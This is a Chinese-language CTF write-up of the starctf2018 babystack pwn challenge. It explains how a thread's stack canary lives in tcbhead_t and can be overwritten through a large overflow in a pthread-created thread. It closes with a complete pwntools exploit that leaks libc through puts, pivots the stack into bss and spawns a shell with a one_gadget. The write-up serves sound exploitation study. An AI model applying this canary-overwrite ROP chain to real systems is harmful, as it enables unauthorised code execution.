首页 > 其他分享 >starctf2018_babystack

starctf2018_babystack

时间:2022-12-01 21:16:04浏览次数:70  
标签:p64 puts libc starctf2018 babystack canary pop payload

starctf2018_babystack

新知识

这道题又学到一个知识点,就是有关控制canary,之前所了解的就是他会生成一个随机数,然会放到一个寄存器中如下图64位时fs:28,32位时fs:14,在返回时会把这个寄存器中的数跟ebp里的数进行异或来检查是否被破坏,所以我以往绕过canary的方法就是泄露、爆破。在做这道题时又知道canary的另一种做法,就是直接控制用于异或的寄存器的值。

image-20221201200147149

首先简单说一下canary的保存一些知识(canary的生成可以自己上网学习,看一下源码)

这个随机数是一个在链接前完成,是一个内核随机数,

1、从 __libc_start_init 函数出发,看看是否 开启canary保护(Thread Local Storage)线程局部存储(也就是设置了THREAD_SET_STACK_GUARD 宏)

2、线程控制块结构就是pthread,我们在这里主要讲一下结构体 tcbhead_t

// sysdeps\x86_64\nptl\tls.h

typedef struct
{
  void *tcb;    /* Pointer to the TCB.  Not necessarily the
         thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;   /* Pointer to the thread descriptor.  */
  int multiple_threads;
  
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;  存放单个线程的canary
  uintptr_t pointer_guard;
  
  ... 
} tcbhead_t;

tcb 指针和 self 指针,实际指向的都是同一个地址,即 struct pthread 结构体(亦或者是 struct tcbhead_t 本身,这两个结构体地址相同)因此我们用

p/x pthread_self()打印canary
x/x pthread_self()打印结构体的地址,快速找到stack_guard
stack_guard  存放单个线程的canary

利用

既然我们可以找到用存放canary的地址是不是可以很轻易的控制canary,并不是,它主要有两个前提

1、这个程序有个子进程

2、在子进程有一个很大的溢出

这是因为在主进程中tcbhead_t结构体映射的的地方是不固定,而又因为每个进程都有自己的tcbhead_t,并且开启的子进程的tcbhead_t结构体与栈用mmap映射到同一个段中并位于较高的地址,这也就是我们有溢出的可能

保护策略

image-20221201203117034

程序分析

用pthread_create函数开了一个函数start_routine,漏洞主要在start_routine中,在这个函数里有一个可以输入0x10000的漏洞

image-20221201203141662

image-20221201203334231

漏洞利用

明白canary这个漏洞之后就好做了。

两次输入

1、栈溢出控制返回地址执行一个puts泄露libc地址,一个read,控制canary

2、向bss段写入onegadget地址

在第一次输入中有两个细节。因为有leave指令,所以esp会多次指向第一次输入的数据上,根据调试,找到位置执行read,并把执行流指向bss段,指向bss段的那一步开始的时候我是想直接指向bss的地址,但是他是一个二重指针,也就是说如果我这样做并不会执行,如下图他会把我的onegadget当成机械码执行,所以我在一步改为执行了修改esp

image-20221201204833791

exp

from tools import*
context.log_level='debug'
p,e,libc=load('a','node4.buuoj.cn:27410','libc-2.27.so')
p.recvuntil('How many bytes do you want to send?\n')


pop_rdi=0x0000000000400c03
pop_rsi_r15=0x0000000000400c01
pop_rsp_r13_r14_r15=0x0000000000400bfd
p.sendline(str(0x1850))

debug(p)
payload=b'a'*0x1008
payload+=p64(0xdeadbeef)   #0x1048 canary 
payload+=p64(0xbbbbbbbb)# ebp
payload+=p64(pop_rdi)+p64(e.got['puts'])+p64(e.plt['puts'])
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(0x602100)+p64(0)+p64(e.plt['read'])
payload=payload.ljust(0x1060,b'c')+p64(pop_rsp_r13_r14_r15)+p64(0x602100)+p64(0)*3
#修改rsp
#ret of read 0x6021c8
payload=payload.ljust(0x1848,b'a')
payload+=p64(0xdeadbeef)#控制canary
p.send(payload)
p.recvuntil("It's time to say goodbye.\n")
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('puts_addr')
libc_base=puts_addr-libc.symbols['puts']
log_addr('libc_base')
system=libc.symbols['system']+libc_base
pause()
payload=b'a'*0x18+p64(libc_base+search_og(1))
p.send(payload)
p.interactive()




参考

浅析 Linux 程序的 Canary 机制 | Kiprey's Blog

starctf2018_babystack | ZIKH26's Blog

标签:p64,puts,libc,starctf2018,babystack,canary,pop,payload
From: https://www.cnblogs.com/trunk/p/16942679.html

相关文章

  • pwn | bjdctf_2020_babystack2
    pwn|bjdctf_2020_babystack2ret2text一个整数判断,比较的时候是int,传进read当参数的时候是unsignedint,输入负数就能绕过。然后跳转到后门函数就行了。怪没意思的,直......